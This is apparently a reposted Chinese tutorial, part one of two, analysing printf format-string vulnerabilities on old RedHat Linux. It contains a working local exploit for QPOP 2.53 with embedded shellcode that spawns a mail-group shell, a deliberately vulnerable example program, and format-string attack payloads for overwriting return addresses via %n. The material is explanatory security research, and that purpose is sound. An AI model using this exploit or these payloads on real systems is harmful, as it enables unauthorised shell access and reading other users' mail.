*printf()格式化串安全漏洞分析(上)

原创 2005年05月23日 22:03:00

*printf()格式化串安全漏洞分析(上)


     测试平台:RedHat 6.1, RedHat 6.2 (Intel i386)

前言:
=====
最近一段时间,一种新的安全漏洞正开始引起人们注意,就是诸多的*printf()函

数的格式
化串问题。其实这个问题应该说并不鲜见,只是一直没有人注意它,直到最近才

开始进行
一些深入的讨论。格式化串的问题实际上是由于程序员编程时的疏漏所导致的,

下面我们
就来看看具体是怎么回事。


关于格式化串
============
*printf()函数包括printf,  fprintf,  sprintf,  snprintf,  vprintf,

vfprintf,
vsprintf, vsnprintf等函数,它们可以将数据格式化后输出。以最简单的

printf()为例:
int printf(const char *format, arg1,arg2,...);

通过定制format的内容(%s,%d,%p,%x...),用户可以将数据按照某种格式输出。问

题是,
*printf()函数并不能确定数据参数arg1,arg2...究竟在什么地方结束,也就是说

,它不知
道参数的个数。它只会根据format中的打印格式的数目依次打印堆栈中参数

format后面地址
的内容。先来看一个简单的例子:

<- begin ->  fmt_test.c

#include <stdio.h>

int main(void)
{
   char string[]="Hello World!";
  
   printf("String: %s  , arg2: %#p , arg3: %#p/n", string);
   return 0;
}

<- end -> 

上面的例子中我们其实只提供了一个数据参数"string",但在格式串中有三个打印

格式,
我们看一下运行的结果:

[warning3@redhat-6 format]$ gcc -o fmt_test fmt_test.c
[warning3@redhat-6 format]$ ./fmt_test
String: Hello World!  , arg2: 0x6c6c6548 , arg3: 0x6f57206f

我们来看一下arg2,arg3显示的是哪里的内容:
[warning3@redhat-6 format]$ gdb ./fmt_test
<...>
(gdb) b printf
Breakpoint 1 at 0x8048308
(gdb) r
Starting program: /home/warning3/format/./fmt_test
Breakpoint 1 at 0x40064f5c: file printf.c, line 30.

Breakpoint 1, printf (
    format=0x80484c0 "String: %s  , arg2: %#p , arg3: %#p/n") at

printf.c:30
30      printf.c: No such file or directory.
(gdb) x/10x $ebp
0xbffffc88:     0xbffffca8      0x08048403      0x080484c0     

0xbffffc98
0xbffffc98:     0x6c6c6548      0x6f57206f      0x21646c72     

0x08049500
0xbffffca8:     0xbffffcc8      0x400301eb

我们看到printf()的第一个参数地址是$ebp+8,里面的内容是0x080484c0,
(gdb) x/s 0x080484c0
0x80484c0 <_IO_stdin_used+60>:   "String: %s  , arg2: %#p , arg3: %

#p/n"
这是我们的格式化串的地址

再来看我们要格式化输出的数据($ebp+12):
(gdb) x/s 0xbffffc98
0xbffffc98:      "Hello World!"

我们看到,紧接着下来的两个字的内容就是刚才的程序中显示的结果:
$ebp+16: 0x6c6c6548  "Hell"
$ebp+20: 0x6f57206f  "o Wo"

从下面的示意图上可以看得更清楚一些:

              栈顶
       +------------+
      |   ......   |   
      +------------+
0xbffffc88| 0xbffffca8 | --------> 保存的EBP  -- printf()
      +------------+
      | 0x08048403 | --------> 保存的EIP  -- printf()
      +------------+  format
format->  | 0x080484c0 | --------> "String: %s  , arg2: %#p , arg3: %

#p/n"的地址
      +------------+  arg1
      | 0xbffffc98 | --------> "Hello World!"的地址                    

    
      +------------+
      | 0x6c6c6548 | --------> string[] = "Hell   
      +------------+
      | 0x6f57206f | -------->             o Wo
      +------------+
      | 0x21646c72 | -------->             rld!"
      +------------+
      | 0x08049500 | -------->   '/0'xxx
      +------------+
0xbffffca8| 0xbffffcc8 | --------> 保存的EBP  -- main()
      +------------+
      | 0x400301eb | --------> 保存的EIP  -- main()
      +------------+
          |   ......   |   
      +------------+
              栈底

我们可以看到,arg2,arg3所显示的其实是main()中数组strings中前两个字的内

容。
从上面这个简单的例子我们可以看到, *printf()只根据format中打印格式(%)的

数目来依次
显示堆栈中format参数后面地址的内容,每次移动一个字(4个字节).
由于我们上面的例子中出现了三个(%)号,所以它会依次打印三个地址的内容:
format+4, format + 8, format + 12.

(注意:并不是所有的%格式都是移动4个字节,例如%f就每次移动8个字节。如果

要覆盖的地址
距离比较远(比如2048字节),而%的个数又有所限制的话,使用%f可以较快的到达

"目的地",
只需要256个%f就可以了,%E也是如此)

正常情况下,由于format串通常是程序员自己来定制,很少出现上面那种情况,

而且即使
出现了,也并不会有什么大的安全问题。然而,如果format串是由用户提供的话

,那么就
非常危险了!这种情况往往是由于程序员的疏忽导致的。最常见的情况是当需要

利用
vsprintf()等来构造自己的类printf()函数时,例如

mylog(LEVEL, "username = %s", username);

如果引用mylog时错误的使用了mylog(LEVEL,user_buf),而user_buf的内容又是用

户可以控
制的话,那么真正的危险就来了。

1. 问题一:格式化串导致的传统缓冲区溢出
==========================================
我们以不久前发现的QPOP 2.53的例子来做一下详细的说明。


QPOP 2.53中pop_uidl.c中有个函数pop_euidl (p),用来完成EUIDL命令的功能,

它错误的
使用了pop_msg()函数:

.......
pop_euidl (p)
POP     *   p;
{
    char                    buffer[MAXLINELEN];     /*  Read buffer */
    char            *nl, *bp;
    MsgInfoList         *   mp;         /*  Pointer to message info

list */
......
      if (mp->del_flag) {
     
      /* 注意: 这里使用pop_msg()的做法是正确的! 注意和下面那个

pop_msg()的用法
                做一下比较。
       */
        return (pop_msg (p,POP_FAILURE,
                "Message %d has been marked for deletion.",msg_id));
      } else {

    sprintf(buffer, "%d %s", msg_id, mp->uidl_str);
        if (nl = index(buffer, NEWLINE)) *nl = 0;
       /* 下面这个sprintf()将用户输入的数据拷贝到buffer中,由于限制了%s

的宽度,
           因此不会发生缓冲区溢出 */       
   
    sprintf(buffer, "%s %d %.128s", buffer, mp->length, from_hdr(p,

mp));
   
    /* 注意:这里直接将buffer作为第三个参数传递给pop_msg(),这是错误的!

*/
    return (pop_msg (p,POP_SUCCESS, buffer));
      }

我们再来看看pop_msg()函数,它在pop_msg.c中定义:

......
#define BUFSIZE 2048
......
#ifdef __STDC__
/* 我们看到,pop_msg()的第三个参数是format串*/
pop_msg(POP *p, int stat, const char *format,...)
#else
pop_msg(va_alist)
va_dcl
#endif
{
#ifndef __STDC__
    POP             *   p;
    int                 stat;              /*  POP status indicator */
    char            *   format;            /*  Format string for the

message */
#endif
    va_list             ap;
    register char   *   mp;
#ifdef PYRAMID
    char        *   arg1, *arg2, *arg3, *arg4, *arg5, *arg6;
#endif
    char                message[BUFSIZE]; /* 定义了一个BUFSIZE=2048大小

的缓冲区 */

#ifdef __STDC__
    va_start(ap,format);
.......

    /*  Point to the message buffer */
    mp = message;                       /* mp指向message[]起始地址 */
......
    /*  Append the message (formatted, if necessary) */
    if (format) {
#ifdef HAVE_VPRINTF
/* 这里将变参ap按照format的格式输出到mp所指向的message[]中
   注意,这里没有检查拷贝数据的大小!
*/
        vsprintf(mp,format,ap);

.....

我们看到pop_euidl()中的buffer,本来应该出现在pop_msg()的第四个参数位置上

,也就是
pop_msg()的ap所指向的内容,正确的格式应该象下面这样:
pop_msg (p,POP_SUCCESS, "%s", buffer);
这样由于buffer的长度是有限制的,pop_msg()中的vsprintf()就不会产生溢出。
但由于程序员的疏忽,错误的将buffer放在了第三个参数的位置上,其实就是

pop_msg()中
format所指向的内容。而buffer中的部分内容是由用户提供的,因此如果用户输

入的数
据中包含某些特别的打印格式,就可能利用vsprintf()调用溢出message缓冲区。

那么具体如何来做呢?我们知道打印格式中有个重要的部分是打印宽度,例

如:%.20d,%20d
%20s,%.20s等等。以printf("%.20d",num)为例,如果整数num的长度小于

20,printf()会在
它前面补零来使打印出来的长度为20,例如:
printf("%.20d/n",12345);
打印结果如下:
00000000000000012345

这让我们想到,是否可以通过定义打印宽度来填充message缓冲区呢?
如果我们构造buffer的内容让它象这个样子:

xxx%.2000d<RET><RET>...<RET>

那么vsprintf(mp,"xxx%.2000d<RET><RET>...<RET>",ap);
就可能使<RET>覆盖pop_msg()函数的返回地址,如果我们可以在<RET>这个地址中

放入shellcode
,就可能获得一个远程shell了。由于通常Qpoper没有丢弃mail组权限,因此我们

可以获得一个
gid=mail的shell,可以查看其他普通用户的邮件....

为了达到我们的目标,我们需要做的事是:

<1> 发一封邮件给要攻击的用户,在X-UIDL:域中放入我们的shellcode,
    在From:域中放入%.2000d<RET><RET>...<RET>
    注意这个<RET>的地址需要通过调试才能确定,它应该指向我们的shellcode

所在地址。
   
<2> 以该用户身份登陆QPOP server,执行EUIDL num命令,这里的num应该是我们

刚才发送
    的那封特殊邮件的序号。
   
    如果一切顺利的话,你就可以得到一个gid mail的shell了。

下面我们提供一个简单的测试程序,它会给你一个本地的gid mail shell:
(你可能需要自己调整retloc以及POP *p的地址才能成功)

<- begin ->  qpop2.53_local.c

/*  QPOP 2.53 local exploit .
*  code based on the sample exploit by Prizm/b0f.
*  usages:
*    [test@redhat-6 /tmp]$ ./qp 0xbfffcba4 0xbfffdbf8

>/var/spool/mail/test
*    [test@redhat-6 /tmp]$ nc localhost 110
*    
*     +OK QPOP (version 2.53) at localhost.localdomain starting. 
*     user test
*     +OK Password required for test.
*     pass 123456
*     +OK test has 1 message (307 octets).
*     euidl 1
*     <...snip...>
*     id
*     uid=514(test) gid=12(mail) groups=12(mail) 
*                                                   warning3@isbase.com
*                                                      y2k/5/28
*/

#include <stdio.h>
#include <string.h>

char shellcode[]=
   "/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90"
   "/xeb/x22/x5e/x89/xf3/x89/xf7/x83/xc7/x07/x31/xc0/xaa"
   "/x89/xf9/x89/xf0/xab/x89/xfa/x31/xc0/xab/xb0/x08/x04"
   "/x03/xcd/x80/x31/xdb/x89/xd8/x40/xcd/x80/xe8/xd9/xff"
   "/xff/xff/bin/sh....";

int main(int argc, char *argv[])
{
        int i;
        unsigned long ra=0;
        unsigned long p= 0xbffffdf8;
        if(argc<2) {
                fprintf(stderr,"Usage: %s return_addr POP(*)_addr/n",

argv[0]);
                exit(0);
        }
        sscanf(argv[1], "%x", &ra);
        /* 由于pop_msg()发生溢出后还需要一个有效的POP *p指针才能正确结

束,所以
         * 我们必须要提供一个有效的地址
         */
        sscanf(argv[2], "%x", &p);
        if(!ra)
                return;
        if(sizeof(shellcode) < 12 || sizeof(shellcode) > 76) {
                fprintf(stderr,"Bad shellcode/n");
                exit(0);
        }
        fprintf(stderr,"return address: 0x%.8x/n", ra);
        fprintf(stderr,"p address: 0x%.8x/n", p);
        printf("From root  Sun May 28 17:29:37 2000/n");
        printf("Date: Sun, 28 May 2000 17:29:37 +0800/n");
        printf("From: %s", "%.500d%.500d%.500d%.398d");
        for(i=0; i < 20; i++)
          printf("%c%c%c%c", (ra & 0xff), (ra & 0xff00)>>8, (ra &

0xff0000)>>16, (ra & 0xff000000)>>24); /* 连续的返回地址 */
        printf("%c%c%c%c", ( p& 0xff), (p & 0xff00)>>8, (p & 0xff0000)

>>16, (p & 0xff000000)>>24);/* 有效的POP *p指针 */
        printf ("/n");
        printf ("Subject: haha/n");
        printf ("Message-Id:

<200005280929.RAA03577@localhost.localdomain>/n");
        printf("X-UIDL: ");
        for(i=0; i < sizeof(shellcode);i++)
                printf("%c", shellcode[i]);
        printf("/n");
        printf ("/n/n");
        return 0;
}   
     
<- end ->

2. 问题二:格式化串导致覆盖函数返回地址
========================================
我们再来看另外一个问题:%n的问题。 %n在格式化中的意思是将显示内容的长度

输出到一
个变量中去。通常的用法是这样的:

<- begin ->  n_test.c

main()
{
  int num=0x41414141;
 
  printf("Before: num = %#x /n", num);
  printf("%.20d%n/n", num, &num);
  printf("After: num = %#x /n", num);

}

<- end -> 

[warning3@redhat-6 format]$ ./n_test
Before: num = 0x41414141
00000000001094795585
After: num = 0x14

我们看到,变量num的值已经变成了0x14(20),也就是说,因为我们的程序中将变

量num的地
址压入堆栈,作为printf()的第二个参数,%n会将打印总长度保存到对应参数的

地址中去。
那么如果我们不将num的地址压入堆栈会发生什么事情呢?


[warning3@redhat-6 format]$ vi n_test.c

<- begin ->  n_test1.c

main()
{
  int num=0x41414141;

  printf("Before: num = %#x /n", num);
  printf("%.20d%n/n", num);            /* 注意,我们没有压num的地址入栈

*/
  printf("After: num = %#x /n", num);

}

<- end -> 

[warning3@redhat-6 format]$ ./n_test1
Before: num = 0x41414141
Segmentation fault (core dumped)      <--- 在执行第二个printf()时就发生

段错误了
[warning3@redhat-6 format]$ gdb ./n_test core
GNU gdb 4.18
<...>
#0  0x4005d897 in _IO_vfprintf (s=0x40104c60, format=0x8048474 "%.20d%

n/n",
    ap=0xbffffca8) at vfprintf.c:1212
1212    vfprintf.c: No such file or directory.
(gdb) x/i $pc                         <--- 我们看看下一条指令是什么
0x4005d897 <_IO_vfprintf+2455>: mov    %eax,(%ecx)   <--- 将%eax的值填

到%ecx中
                                                          的地址去
(gdb) i r $ecx                                       <--- 目的地址是

0x41414141
ecx            0x41414141       1094795585
(gdb) i r $eax
eax            0x14     20                           <--- 填充内容是

0x14(20)
(gdb)

很明显,这就是在执行%n操作的时候发生了段错误,0x41414141肯定是不能访问

的。我们
注意到num的初始值就是0x41414141,两者是不是有什么联系呢?其实从前面关于

fmt_test.c
的讨论我们就应该可以看出来,printf()将堆栈中main()函数的变量num当作了%n

所对应的
参数,因此会将0x14保存到0x41414141中去。聪明的读者应该可以想到,如果我

们可以控制
num的内容,那么不就意味着可以修改任意地址(当然是允许写入的地址)的内容

了?是的。
我们首先想到的是覆盖函数的返回地址,让我们修改一下程序:

<- begin ->  n_test2.c

main()
{
  int num=0xbffffcbc;

  printf("Press Any Key to Continue.../n");
  getchar();
  printf("Before: num = %#x /n", num);
  printf("%.1094795585u%n/n", num);  /* 1094795585 = 0x41414141 */
  printf("After: num = %#x /n", num);

}

<- end -> 


这里的num的值是main()函数的返回地址,我们的目的是将0x41414141覆盖main()

函数
的返回地址,这样从main()函数返回时就会跳到0x41414141去运行,当然这会导

致段错
误,这里只是举个例子而已。
至于getchar()的作用,纯粹是为了调试方便,一会你就会明白为什么要加这个东

西。
细心的读者可能会发现我将%d换成了%u,这是因为如果要
打印的值为负数,printf会自动在前面加上一个'-'号,这样实际的打印结果长度

就要
加上一,在这个例子中,我们就可能跳到0x41414142去了,当然这里对我们并没

有什么
影响,如果我们有很多%d,例如:"%d%d%d...%d%d",我们就不能简单的根据"%d"的

个数来
计算显示结果的长度,还要考虑可能的'-'号数目。为了简便起见,我们用%u来显

示,它
会按无符号整数来显示结果,就不用考虑'-'号的情况。

让我们来看看运行结果,这是在一台RedHat 6.1下运行的结果:
[warning3@redhat-6 format]$ gcc -o n2 -g n_test2.c
[warning3@redhat-6 format]$ ./n2
Press Any Key to Continue...

这时我们再开一个终端[tty2]来调试:
<在终端tty2上>

[warning3@redhat-6 format]$ gdb ./n2 `ps -auxw|grep './n2'|grep -v

grep|awk '{print $2}'`
GNU gdb 4.18
<......>
Attaching to program: /home/warning3/format/./n2, Pid 28428
Reading symbols from /lib/libc.so.6...done.
Reading symbols from /lib/ld-linux.so.2...done.
0x400bcdb4 in __libc_read () from /lib/libc.so.6
(gdb) bt
#0  0x400bcdb4 in __libc_read () from /lib/libc.so.6
#1  0x4010648c in __DTOR_END__ () from /lib/libc.so.6
#2  0x4006c7a1 in _IO_new_file_underflow (fp=0x40104ba0) at

fileops.c:385
#3  0x4006e6f1 in _IO_default_uflow (fp=0x40104ba0) at genops.c:371
#4  0x4006db5c in __uflow (fp=0x40104ba0) at genops.c:328
#5  0x4006af56 in getchar () at getchar.c:37
#6  0x8048417 in main () at n_test2.c:6
(gdb) i f 6
Stack frame at 0xbffffcb8:
eip = 0x8048417 in main (n_test2.c:6); saved eip 0x400301eb
caller of frame at 0xbffffcac
source language c.
Arglist at 0xbffffcb8, args:
Locals at 0xbffffcb8, Previous frame's sp is 0x0
Saved registers:
  ebp at 0xbffffcb8, eip at 0xbffffcbc      ---> 这是main函数保存返回地

址的地方,
                                                  也是num初始值
(gdb) c                 ---> 让跟踪的程序继续运行      
Continuing.

现在我们再切换到原先的终端上,继续执行我们的程序:
[warning3@redhat-6 format]$ ./n2
Press Any Key to Continue...  ---> 按一下回车

Before: num = 0xbffffcbc

我们再切到tty2来看发生了什么:
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.  ---> 发生了段访问

错误
0x4005dff0 in _IO_vfprintf (s=0x40104c60,
    format=0x80484d2 "%.1094795585u%n/n", ap=0xbffffcb4) at

vfprintf.c:1259
1259    vfprintf.c: No such file or directory.

(gdb) x/6i $pc  ---> 看看我们要执行什么命令了
0x4005dff0 <_IO_vfprintf+4336>: movb   $0x30,(%esi)
0x4005dff3 <_IO_vfprintf+4339>: dec    %esi
0x4005dff4 <_IO_vfprintf+4340>: mov    0xfffffad8(%ebp),%eax
0x4005dffa <_IO_vfprintf+4346>: decl   0xfffffad8(%ebp)
0x4005e000 <_IO_vfprintf+4352>: test   %eax,%eax
0x4005e002 <_IO_vfprintf+4354>: jg     0x4005dff0 <_IO_vfprintf+4336>

(gdb) i r $esi
esi            0xbfffdfff       -1073750017
(gdb) i r $eax
eax            0x41412b43       1094789955  ----> 还有0x41412b43个'0'要

填充
(gdb) x/200x $esi
0xbfffdfff:     0x30303000      0x30303030      0x30303030     

0x30303030
0xbfffe00f:     0x30303030      0x30303030      0x30303030     

0x30303030
0xbfffe01f:     0x30303030      0x30303030      0x30303030     

0x30303030
0xbfffe02f:     0x30303030      0x30303030      0x30303030     

0x30303030
0xbfffe03f:     0x30303030      0x30303030      0x30303030     

0x30303030
0xbfffe04f:     0x30303030      0x30303030      0x30303030     

0x30303030
0xbfffe05f:     0x30303030      0x30303030      0x30303030     

0x30303030
0xbfffe06f:     0x30303030      0x30303030      0x30303030     

0x30303030
0xbfffe07f:     0x30303030      0x30303030      0x30303030     

0x30303030
0xbfffe08f:     0x30303030      0x30303030      0x30303030     

0x30303030
<....>

我们看到这几句程序将0x30('0')往堆栈顶端(低地址方向)中填充,实际上就是为

显示
"%.1094795585u"中指定的'0'做准备。好像堆栈太小了,不足以存放这么多'0',

让我们
再来看看./n2执行时的内存映射:

^Z
[1]+  Stopped                 gdb ./n2 `ps -auxw|grep './n2'|grep -v

grep|awk '{print $2}'`
[warning3@redhat-6 format]$ cat /proc/28428/maps
08048000-08049000 r-xp 00000000 03:06 168475    

/home/warning3/format/n2
08049000-0804a000 rw-p 00000000 03:06 168475    

/home/warning3/format/n2
40000000-40012000 r-xp 00000000 03:06 144892     /lib/ld-2.1.2.so
40012000-40013000 rw-p 00012000 03:06 144892     /lib/ld-2.1.2.so
40013000-40015000 rw-p 00000000 00:00 0
40018000-40103000 r-xp 00000000 03:06 144899     /lib/libc-2.1.2.so
40103000-40107000 rw-p 000ea000 03:06 144899     /lib/libc-2.1.2.so
40107000-4010b000 rw-p 00000000 00:00 0
bfffe000-c0000000 rwxp fffff000 00:00 0

从上面我们可以看到可写的堆栈段是从bfffe000-c0000000之间的地址空间,而前

面的语句
要将0x30('0')写入0xbfffdfff,这个地址已经不在堆栈段中,因此会发生段访问

错误。程
序也就执行不下去了。因此,在RedHat 6.1中,我们不能简单的直接用%.RET%n的

方式来覆
盖函数返回地址,因为通常RET都是在堆栈段中,即通常大于0xbfff0000,这是个

相当大的数
值,RedHat 6.1的glibc中的vfprintf()不能正常显示这么多的'0',而RedHat 6.2

中的glibc
所带的vfprintf()则可以,也就是说,上面的程序在RedHat 6.2下,这条语句:
printf("%.1094795585u%n/n", num);
可以正常结束,然后main()的返回地址被覆盖成0x41414141。
但是我并不建议读者直接在RedHat 6.2下运行这个程序,因为它会打印非常多的

0,你需要
有足够的耐心才能等待它结束. :-)

<1> 攻击方法一:直接覆盖返回地址
=================================

我们看另外一个简单的问题程序,我们会先在RedHat 6.2上进行攻击测试:


<- begin ->  vul.c

/*  A simple vulnerable example for format bug.
*                                 warning3@nsfocus.com
*/

#include <stdarg.h>
#include <unistd.h>
#include <syslog.h>

#define BUFSIZE 1024

int log(int level, char *fmt,...)
{
   char buf[BUFSIZE];
   va_list ap;
 
   va_start(ap, fmt);
   vsnprintf(buf, sizeof(buf)-1, fmt, ap);
   buf[BUFSIZE-1] = '/0';
   syslog(level, "[hmm]: %s", buf);
   va_end(ap);
}


int main(int argc, char **argv)
{

  char buf[BUFSIZE];
  int num,i;
 
  num = argc ;

  if(argc > 1) {
     for ( i = 1 ; i < num ; i ++ ) {
            snprintf(buf, BUFSIZE -1 , "argv[%d] = %.200s", i, argv

[i]);
            buf[BUFSIZE-1] = '/0';
            log(LOG_ALERT, buf);  // 这里有问题
            printf("argv[%d] = %s /n", i, argv[i]);
    }
  }
}
<- end -> 

这个有问题的程序在调用子函数log()的时候,错误的将buf放到了*fmt所对应的

位置上,
而buf的内容中的一部分是用户输入的,而且没有做任何检查。虽然程序其余地方

都比较
小心地使用了vsnprintf(),snprintf(),不会发生通常的缓冲区溢出问题。但这个

格式化
串的错误也将是致命的。

我们先来分析一下如何进行攻击。我们看到main()函数会将命令行参数拷贝到buf

中去。
前面还加上了"argv[%d] = "字符串,在参数个数小于10的情况下,这个字符串的

长度为
10字节。我们考虑构造这样的字符串作为命令行参数:
"align|RET|%d%d...%.SH_RETd|%n"

"align":  用来调整buf开头的数据长度为4的整数
"RET":     是main()或者log()函数的返回地址位置,我们会将shellcode的地址

放到RET中去,
"SH_RET":  我们存放shellcode的地址
"%d...%d": 这些%d用来使%n所对应的地址刚好是储存RET的地址

我们来看看在第一次调用log()时,堆栈中的情况

  保存ebp 保存eip 参数1     参数2  变量i 变量num  缓冲区buf
-----------------------------------------------------------------------
|  EBP  |  EIP  |LOG_ALERT| &buf |  i  |  num  |"argv[1] = "| argv[1] |

 
-----------------------------------------------------------------------
                           ^      ^                        
                           |__fmt |__ap
低址  ---------------------->---------------------------------->  高址

                         
在执行完  va_start(ap, fmt) 后,变参指针ap指向fmt的下一个地址,也就是

main()
函数局部变量i的地址,如果我们提供的argv[1]的是这样的字符串:
"xxabcd%d%d%d%d%d%p"
那么堆栈中的情况就是这样:


保存ebp 保存eip 参数1     参数2 变量i 变量num  缓冲区buf
----------------------------------------------------------------------

----------
|  EBP  |  EIP  |LOG_ALERT| &buf |  i | num |"argv[1] = xx"|"abcd"|%d%

d%d%d%d%p|
----------------------------------------------------------------------

----------
                           ^      ^ 4B   4B   12B          ^  RET      

      |      
                           |__fmt |__ap                   

|__________________|
                              
低址  ---------------------->---------------------------------->  高址

因为"argv[1] = "长是10字节,我们用两个字节"xx"来使其变成4的整数倍:12字

节。因此,
从变量i的地址到"abcd"之间共有4+4+12=20字节,20/4=5,因此我们需要用5个%d

来对应这5
个地址,这样最后一个格式化串%p就对应了"abcd"的地址,因此打印出来应该是:
"0x64636261"
                                
[root@rh62 format]# ./vul xxabcd%d%d%d%d%d%p
argv[1] = xxabcd%d%d%d%d%d%p
[root@rh62 format]# tail -1 /var/log/messages
Jul 12 04:13:08 rh62 vul: [hmm]: argv[1] =

xxabcd2119864909775429783952021138493
0x64636261

注意最后的0x64636261,这说明我们前面的分析是正确的。如果我们将%p换成%

n,vsnprintf
()就会将打印长度存放到0x64636261中去,当然这肯定会导致段错误

[root@rh62 format]# gdb ./vul
GNU gdb 19991004
<...>
(gdb) r xxabcd%d%d%d%d%d%n
Starting program: /root/./vul xxabcd%d%d%d%d%d%n


Program received signal SIGSEGV, Segmentation fault.
0x400622b7 in _IO_vfprintf (s=0xbffff224,
    format=0xbffff738 "argv[1] = xxabcd%d%d%d%d%d%n", ap=0xbffff748)
    at vfprintf.c:1212
1212    vfprintf.c: No such file or directory.
(gdb) x/i $pc
0x400622b7 <_IO_vfprintf+2455>: mov    %eax,(%ecx)
(gdb) i reg $eax $ecx
eax            0x2f     47
ecx            0x64636261       1684234849
(gdb)

我们看到,eax中保存的是打印的总长度:47, vsnprintf()在将这个值保存到$ecx

中去时
发生了段错误。如果我们将RET换成保存main函数返回地址的地址,就会将这个长

度存放
到那里去,如果这个长度的值刚好等于我们存放shellcode的地址,那么当main()

返回时
就会跳到我们的shellcode去运行了。

(待续)

*printf()格式化串安全漏洞分析(下) (转)

*printf()格式化串安全漏洞分析(下) (转) 测试平台:RedHat 6.1, RedHat 6.2 (Intel i386) (继续) 那么让我们来写一个简单的测试程序来看一下...

*printf()格式化串安全漏洞分析(上)

*printf()格式化串安全漏洞分析(上) (转) 测试平台:RedHat 6.1, RedHat 6.2 (Intel i386) 前言: ===== 最近一段时间,一种新的安全漏...

安全漏洞--字符串格式化(FSV)漏洞分析

一 漏洞简介   格式化字符串漏洞(format string vulnerability),也是一种比较常见的漏洞类型。常出现于c语言格式化字符串一系列函数。比如printf,sprintf,fp...
  • bjtbjt
  • bjtbjt
  • 2017年04月17日 18:41
  • 1129

高校常见安全漏洞案例分析

  • 2017年01月09日 17:48
  • 2.15MB
  • 下载

常见WEB开发安全漏洞、原因分析及解决之道

常见WEB开发安全漏洞、原因分析及解决之道

NET编程中的安全漏洞分析

  • 2015年11月19日 08:50
  • 145KB
  • 下载

Jsonp常见安全漏洞分析

JSONP(JSON with Padding)是资料格式 JSON 的一种“使用模式”,可以让网页从别的网域要资料。这个解释来自于互联网上面的答案。jsonp只是 一种使用json模式,之所以能...
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:*printf()格式化串安全漏洞分析(上)
举报原因:
原因补充:

(最多只允许输入30个字)